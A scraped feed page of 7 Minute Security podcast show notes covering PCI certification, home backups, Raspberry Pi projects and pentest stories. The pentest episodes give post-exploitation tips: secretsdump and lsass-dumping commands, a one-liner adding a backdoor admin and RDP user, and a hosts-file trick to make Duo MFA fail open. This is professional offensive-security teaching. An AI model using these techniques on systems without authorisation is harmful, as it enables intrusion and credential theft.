CompTIA caught my eye because they're offering 20% off certain tests/bundles with coupon code earthday2020. Personally I'm this close to pulling the trigger on this CompTIA Cloud+ bundle, and even better, they offer online testing during this stay-at-home time!
Pi-Holes are a free and awesome way to keep ads and other garbage off your network. Additionally, I give you 100 extra nerd points if you enable DNSSSEC. Just make sure your date/time settings on the box is correct, otherwise DNS will be pretty broken. I discuss a fix here on the 7MS forums....
Read more at 7ms.us!
-
7MS #410: PCI Professional Certification (PCIP) - Part 2
16 april 2020 · 57 min
This podcast is sponsored by Arctic Wolf, whose Concierge Security teams Monitor, Detect and Respond to Cyber threats 24/7 for thousands of customers around the world. Arctic Wolf. Redefining cybersecurity. Visit Arcticwolf.com/7MS to learn more. Lees meer
I'm gonna love you like coronavirus, I don't know what else to say I'm gonna love you like coronavirus, I'm gonna stand 6 feet away Yes our love was meant to be, but it will have to wait until later Cuz I don't wanna end up hooked up to a ventilator
In today's episode I continue sharing my journey about becoming a PCIP. Spoiler alert: I'm still applying to even start training to be one. Here's what we'll cover:
The pentesting requirement 11.3 from PCI that kind of boggles my brain, and some advice I got from a PCI guru that helped clear things up for me. This video also helped me better understand requirement 11.3.
The super sucky couple of personal quarantine days I've had that include:
Cocoa that tastes like mint-flavored old lady diarrhea
Our fridge and freezer going ka-put
Exploding drinks in my fridge
A multi-thousand dollar repair on our new house that hasn't even technically broken ground yet (!)
-
7MS #409: PCI Professional Certification (PCIP)
9 april 2020 · 41 min
SafePass.me is the only enterprise solution to protect organizations against credential stuffing and password spraying attacks. Visit safepass.me for more details, and tell them 7 Minute Security sent you to get a 10% discount! Lees meer
Today I'm starting a journey to become a PCI Professional (PCIP), and I'll be periodically updating the status of this journey on the 7MS forums.
You don't need to be a QSA to get a PCIP, but you do need "2 years in IT or payments related background to have your application approved."
The PCIP certification gives you (and I'm quoting from the PCI Web site):
Principles of PCI DSS, PA-DSS, PCI PTS, and PCI P2PE Standards
Understanding of PCI DSS requirements and intent
Overview of basic payment industry terminology
Understanding the transaction flow
Implementing a risk-based prioritized approach
Appropriate uses of compensating controls
Working with third-parties and service providers
How and when to use Self-Assessment Questionnaires (SAQs)
Recognizing how new technologies affect the PCI (e.g. virtualization, tokenization, mobile, cloud)
The test costs + exam for a non-participating organization (like 7MS) is $2,500. You also have to re-up every 3 years for $260 (yay, another thing to have to pay for regularly).
In the miscellany department:
Do you know someone who would enjoy a live 3-song acoustic concert? Check out my family's new ministry, Q.U.A.C.K. - Quarantined Unplugged Acoustic Concerts of Kindness.
A Webinar on creating kick-butt cred-capturing phishing portals is happening on Tuesday, April 14! Register here!
-
7MS #408: Cell Phone Security for Tweenagers - Part 2
3 april 2020 · 32 min
This episode of the 7MS podcast is brought to you by ITProTV. It's never too late to start a new career in IT or move up the later, and ITProTV has you covered. From CompTIA and Cisco to ECCouncil and VMWare. Get a 7-day free trial and save 30% off all plans by going to itpro.tv/7MS Lees meer
"I think of what the world could be If it did not have COVID-19 A million dreams is all it's gonna taaaaaaaaaaaaaaaake!"
Today's episode is a continuation and update on the cell phone security for tweenagers episode from about a year ago. Specifically, I talk about:
How the cell phone contract I put together for my tweenager kind of blew up in my face
I'm the worst dad in the world because my wife and I enforced a "no screens" policy for a few weeks. We lived. Barely.
Apple Screen Time is your friend, and helps put some limits on iDevice use
The Dream Machine makes it easy to setup a segmented wireless network just for your kids. You can also "time box" their individual network to only broadcast at certain hours of the day
You can then apply OpenDNS to filter bad sites on just the kiddo network or ALL your networks
If you make a home backup/DR plan make sure it includes important stuff like: passwords to important things, as well as critical contacts like your tax prep person, financial advisor and subcontractors.
More info at 7ms.us!
-
7MS #407: Four Fun Stay-at-Home Security Projects
26 maart 2020 · 33 min
In today's episode I share four fun stay-at-home security projects - three with a security focus and one centered around music. Let's gooooooooo! Lees meer
FoldingAtHome
The Folding At Home project helps use your GPU/CPU cycles for COVID-19 research. From the Web site:
We need your help! Folding@home is joining researchers around the world working to better understand the 2019 Coronavirus (2019-nCoV) to accelerate the open science effort to develop new life-saving therapies. By downloading Folding@Home, you can donate your unused computational resources to the Folding@home Consortium, where researchers working to advance our understanding of the structures of potential drug targets for 2019-nCoV that could aid in the design of new therapies. The data you help us generate will be quickly and openly disseminated as part of an open science collaboration of multiple laboratories around the world, giving researchers new tools that may unlock new opportunities for developing lifesaving drugs.
It's awesome! Since I run my cracking rig as a headless Linux install, I followed the advanced install and then used the command line options to run FAHClient standalone (only because personally I don't really love running extra, always-on services on any of my boxes).
It looks like FAH is having a good problem in that there are more resource donors than research to number-crunch on! Keep tabs on the forums for up-to-date information.
See more information at 7ms.us!
-
7MS #406: Securing Your Family During and After a Disaster - Part 4
22 maart 2020 · 40 min
This episode of the 7MS podcast is brought to you by ITProTV. It's never too late to start a new career in IT or move up the later, and ITProTV has you covered. From CompTIA and Cisco to ECCouncil and VMWare. Get a 7-day free trial and save 30% off all plans by going to itpro.tv/7MS Lees meer
First and foremost, I hope you all are doing well and taking care of yourselves.
Today's episode focuses on disasters, which is unfortunately a very appropriate topic. As a quick refresher, our family had a fire a few months ago. It sucked. I talked about the day of the fire in this episode then did a "how do we get back on the grid?" episode here and then answered some of your FAQs here.
Regardless of if your DR plan includes fires, virus outbreaks, tornados or zombie attacks, it's important to have a solid plan for your family and business. So in today's episode I cover these main two topics:
A DIY $500 NAS + Unlimited Cloud Backup Plan
In trying to be more organized with my backup strategy, I set out to create a new backup plan with the following criteria:
Priced at ~$500
One on-prem array
Encrypted at rest
Backs up to cloud with encryption key I control
Unlimited scalable storage
I found my solution using this awesome video but I need to warn you about something right off the bat: the config in this video and in today's episode is not supported by CrashPlan because CP doesn't have a native backup agent that will run on the Synology NAS (at the time of this writing, anyway). With that said, here's the grocey list of things that make up my backup rig:
(See more info on the show notes for todya's episode at 7ms.us)
-
7MS #405: Tales of Internal Pentest Pwnage - Part 16
12 maart 2020 · 43 min
This podcast is sponsored by Arctic Wolf, whose Concierge Security teams Monitor, Detect and Respond to Cyber threats 24/7 for thousands of customers around the world. Arctic Wolf. Redefining cybersecurity. Visit Arcticwolf.com/7MS to learn more. Lees meer
Today's episode of pentest pwnage is the (hopefully) exciting conclusion to this episode. Last we left this pentest, we ran into some excellent blue team defenses, including:
MFA on internal servers (which we bypassed)
Strong passwords
Limited vulnerable protocols (LLMNR/Netbios/etc) available to abuse for cred-capturing
Servers that were heavily firewalled off from talking SMB to just any ol' subnet nor the Interwebs (here's a great video on how to fine-tune your software firewall chops)
In today's episode we talk about:
How maybe it's not a good idea to make computer go completely "shields down" during pentests
Being careful not to fat-finger anything when you spawn cmd.exe with creds, like
runas /netonly /user:samplecompany\billybob "C:\windows\system32\cmd.exe"
Being careful not to fat-finger anything when using CrackMapExec
How fundamental and really effective blue team controls (such as the ones mentioned above) can really make pentesting a headache!
How you should be careful when spawning shells with MultiRelay (part of Responder is it creates new services on your victim machine
Has the 7MS podcast helped you in your IT and security career? Please consider supporting us!
-
7MS #403: 7MOOMAMA - Juice Shop Song + Backdoors and Breaches Jingle
9 maart 2020 · 7 min
Today's slightly off-topic episode kicks off a new tag called 7MOOMAMA. That stands for 7 Minutes of Only Music and Miscellaneous Awesomeness. Lees meer
To kick things off, I'm super excited to share with you two new security-themed songs for some of my favorite security things! They are:
Backdoors and Breaches - my favorite incident response card game.
OWASP Juice Shop - my favorite vulnerable Web application.
Enjoy!
Backdoors and Breaches
Backdoors and Breaches
I love the way teaches me to think about security controls
And their proper placementBackdoors and Breaches
I can't wait to blow my paycheck just to get myself a game deck and then move
Out of my mother's basementSoon I'll be sittin' down and playing it with my red and blue teams
Or John and gang at Black Hills Info Security
And when I go to bed tonight I know what's gonna fill my dreams
Backdoors and BreachesJuice Shop
VERSE 1
When you want to shop online then you had better be sure
The experience is safe and also secure
Don't want to let no SQLi or cross-site scripting ruin your day
No, you want to break into a joyous song and say:CHORUS 1
Juice Shop! Juice Shop!
You can order tasty beverages in any quantity
Juice Shop! Juice Shop!
Just don't test the site with Burp Suite or you won't like what you seeVERSE 2
Now if you're feeling kinda sneaky and you're inclined to explore
You might find inside the Juice Shop...a hidden score board
It will point you towards a vuln'rability or maybe two
And when you're done you'll say, "This site should get a code review!"CHORUS 2
Juice Shop! Juice Shop!
It has got more holes then a warehouse filled with gallons of Swiss cheese
Juice Shop! Juice Shop!...finish the songs at 7ms.us
-
7MS #402: Interview with Matt Duench of Arctic Wolf
26 februari 2020 · 1 uur 12 min
Today I'm joined by Matt Duench (LinkedIn / Twitter), who has a broad background in technology and security - from traveling to over 40 countries around the world working with telecom services, to his current role at Arctic Wolf where he leads product marketing for their managed risk solution. Lees meer
Matt chatted with me over Skype about a wide variety of security topics, including:
Corporate conversations around security have changed drastically in such a short time - specifically, security is generally no longer perceived as a cost center. So why are so many organizations basically still in security diapers as far as their maturity?
Why is it still so hard to find "bad stuff" on the network?
What are some common security mistakes you wish you could wave a magic wand and fix for all companies?
The beauty of the CIS Top 20 and how following even the top 5 controls can stop 85% of attacks.
Low-hanging hacker fruit that all organizations should consider addressing, such as:
Disabling IPv6
Using a password manager
Turning on multi-factor authentication
Don't write down your passwords!
Have a mail transport rule that marks external mail as "EXTERNAL" so it jumps out to people
Consider an additional rule to stop display name spoofing (h/t to Rob on Slack!)
Why you should be concerned about corporate account takeover, and how to better protect yourself and your company against this attack vector
I also asked Matt a slew of questions that many of you submitted via Slack:
More info under the show notes for this episode at 7ms.us!
-
7MS #401: Tales of Internal Pentest Pwnage - Part 15
21 februari 2020 · 1 uur 1 min
It's episode 401 and we're having fun, right? Some things we cover today: Lees meer
The Webinar version of the DIY Pwnagotchi evening will be offered in Webinar format on Tuesday, March 10 at 10 a.m.
A quick house fire update - we're closer to demolition now!
I finally got a new guitar!
Besides that, I've got a wonderful tale of pentest pwnage for you. Warning: this is a TBC (to be continued) episode in that I don't even know how it will shake out. I'm honestly not sure if we'll get DA! Here are the highlights:
I think in the past I might've said unauthenticated Nessus scans weren't worth much, but this test changed my mind.
If you can't dump local hashes with CrackMapExec, try SecretsDump!
./secretsdump.py -target-ip {IP of target machine} localhost/{username}@{target IP}
If you're relaying net user commands (or just typing them from a relayed shell), this one-liner is a good way to quickly add your user to local admins and the Remote Desktop Users group:
net user /add ladmin1 s00p3rn4ughtyguy! /Y & net localgroup Administrators ladmin1 /add & net localgroup "Remote Desktop Users" ladmin1 /add
Trying to RDP into a box protected with Duo MFA? If you can edit the c:\windows\system32\drivers\etc\hosts file, you might be able change the Duo authentication server from api-xxxxxxx.duosecurity.com to 127.0.0.1 and force authenetication to fail open! Source: Pentest Partners
In general, keep an eye on CrackMapExec's output whenever you use the '-x' flag to run commands. If the system is "hanging" on a command for a while and then gives you NO output and just drops you back at your Kali prompt, the command might not be running at all due to something else on the system blocking your efforts.
More on today's show notes at 7ms.us!
-
7MS #400: Tales of Internal Pentest Pwnage - Part 14
14 februari 2020 · 1 uur 5 min
Wow, happy 400th episode everybody! Also, happy SIXTH birthday to the 7MS podcast! Lees meer
Today I've got a really fun tale of internal network pentest pwnage to share with you, as well as a story about a "poop-petrator." Key moments and takeaways include:
Your target network might have heavy egress filtering in place. I recommend doing full apt-get update and apt-get upgrade and grabbing all the tools you need (may I suggest my script for this?).
If the CrackMapExec --sam flag doesn't work for you, give secretsdump a try, as I ran it on an individual Win workstation and it worked like a champ!
If the latest mimikatz release doesn't rip out passwords for you, try the release from last August. For whatever reason (thanks 0xdf) for the tip!
If your procdumps of lsass appear to be small, endpoint protection might be getting in the way! You might be able to figure out what's running - and stop the service(s) - with CrackMapExec and the -x 'tasklist /v' flag.
If you need to bypass endpoint protection, don't be afraid to go deep into the Google search results. Unfortunately, I think that's all I can say about that, as vendors seem to get snippy about talking about bypasses publicly.
Has 7MS helped you in your IT and security career? Please consider buying me a coffee!
-
7MS #399: Baby's First Password Cracking Rig
7 februari 2020 · 42 min
This podcast is sponsored by Arctic Wolf, whose Concierge Security teams Monitor, Detect and Respond to Cyber threats 24/7 for thousands of customers around the world. Arctic Wolf. Redefining cybersecurity. Visit Arcticwolf.com/7MS to learn more. Lees meer
Believe it or not I'm pentesting your stuff
I never thought I could feel so free-hee-hee
I compromised one of your Domain Admins
Who it could be? The guy with "Password123"In today's episode we're talking all about building your own password-cracking rig! "Wait a minute!" you say. "Are you abandoning the Paperspace password cracking in the cloud thing?" Nope! I'm just bringing that methodology "in house" for a little better opsec and also because last year on Paperspace I spent thousands of dollars.
First things first - here's the hardware I ended up with:
Inland Premium 512GB SSD 3D NAND M.2 2280 PCIe NVMe 3.0 x4 Internal Solid State Drive
[Intel Core i5-9400F Desktop Processor 6 Core up to 4.1GHz Without Processor Graphics LGA1151 (Intel 300 Series chipset)](https://www.microcenter.com/product/602028/intel-core-i5-9400f-desktop-processor-6-core-up-to-41ghz-without-processor-graphics-lga1151-(intel-300-series-chipset)
ASUS ROG Strix Z390-H Gaming LGA 1151 ATX Intel Motherboard
EVGA SuperNOVA 1200P2 1200 Watt 80 Plus Platinum Modular Power Supply
For a full shopping list and more notes, head to 7ms.us!
-
7MS #398: Securing Your Network with Raspberry Pi Sensors
30 januari 2020 · 51 min
This podcast is sponsored by Arctic Wolf, whose Concierge Security teams Monitor, Detect and Respond to Cyber threats 24/7 for thousands of customers around the world. Arctic Wolf. Redefining cybersecurity. Visit Arcticwolf.com/7MS to learn more. Lees meer
I'll be your Raspberry Pi zero baby
I don't know what else to say
I'll keep bad stuff off of your network
I will do it both night and dayToday I talk about four cool Raspberry Pi projects that will help you better secure your network.
First off though, I give a shout out to my son Atticus who I want to be more like because he doesn't give a rat's behind what other people think of him!
The cool Pi-based projects I love are:
Pi-Hole is a black hole for Internet advertisements and it literally installs with just a few commands:
git clone --depth 1 https://github.com/pi-hole/pi-hole.git Pi-hole cd "Pi-hole/automated install/" sudo bash basic-install.sh
Pwnagotchi is a cute little devil who exists only to capture WPA handshakes! I did a whole episode on it, and invite you to build a DYI Pwnagotchi with me live on Feb 10.
How to use a Raspberry Pi as a Network Sensor is a really cool Webinar I watched (brought to us by our pals at BHIS and ActiveCountermeasures) that shows you how to use a Pi with an external drive to install Bro and other tools to help you find bad stuff on your network.
CanaryPi is freaking sweet and can detect NBNS/LLMNR/mDNS spoofing as well as port-scanning, yeah baby! And coming soon (hopefully): mitm6 detection!
Has 7MS helped you in your IT and security career? Please consider buying me a coffee!
-
7MS #397: OPSEC Tips for Security Consultants
23 januari 2020 · 37 min
This podcast is sponsored by Arctic Wolf, whose Concierge Security teams Monitor, Detect and Respond to Cyber threats 24/7 for thousands of customers around the world. Arctic Wolf. Redefining cybersecurity. Visit Arcticwolf.com/7MS to learn more. Lees meer
I'm working on a new security song called Don't Let the Internet Get You Down, and the chorus will go something like this:
Don't let the Internet get you down
It's full of trolls and 10 year olds and adolescent clowns
So let their words roll off of you, like water off a duck
To prove to them that you don't give a darnOn a more serious note, here are some opsec tips that hopefully will help you as a security consultant:
Good contracts - make sure your SOWs have lots of CYA verbiage to protect you in case something breaks, your assessment schedule needs to be adjusted, etc. Also, consider verbiage that says you'll only retain client testing artifacts (hashes, vuln scans, etc.) for a finite amount of time.
Scope - make sure you talk about scope, both in written and verbal form, often! Also, a Nessus scanning tip: use the nessusd.rules file to not scan any IPs the client doesn't want touched. That way Nessus won't scan those IPs even if you try to force it to!
Send information to/from clients safely - consider forcing MFA on your file-sharing portals, as well as a retention policy so that files "self destruct" after X days.
....and more on today's episode (see 7ms.us for more show notes)!
Has 7MS helped you in your IT and security career? Please consider buying me a coffee!
-
7MS #396: Tales of Internal Pentest Pwnage - Part 13
15 januari 2020 · 54 min
This podcast is sponsored by Arctic Wolf, whose Concierge Security teams Monitor, Detect and Respond to Cyber threats 24/7 for thousands of customers around the world. Arctic Wolf. Redefining cybersecurity. Visit Arcticwolf.com/7MS to learn more. Lees meer
In last week's episode I was very close to potentially synching up some very sensitive data with my super secret back door account. In this episode, we resolve the cliffhanger and talk about:
How I don't remember lyrics or titles to songs - even the ones I love - such as My Prerogative. That's why Jack Black is my spirit animal, and he's awesome for singing Elton John songs right to Elton John
If you get DA (relatively) quickly, consider pivoting to a network assessment and crack hashes with secretsdump, test egress filtering, run Network Detective and more
Once you've cracked all the hashes you can, run it through hashcombiner and Pipal like this:
python /opt/hashcombiner/hash_combiner.py user_hash hash_password | sort > combined.txt cut -d ':' -f 2 combined.txt > passwords.txt ruby /opt/pipal/pipal.rb passwords.txt > pip.txt
The procdump + lsass trick is still really effective (though sometimes AV gobbles it)
(See full show notes at 7ms.us!)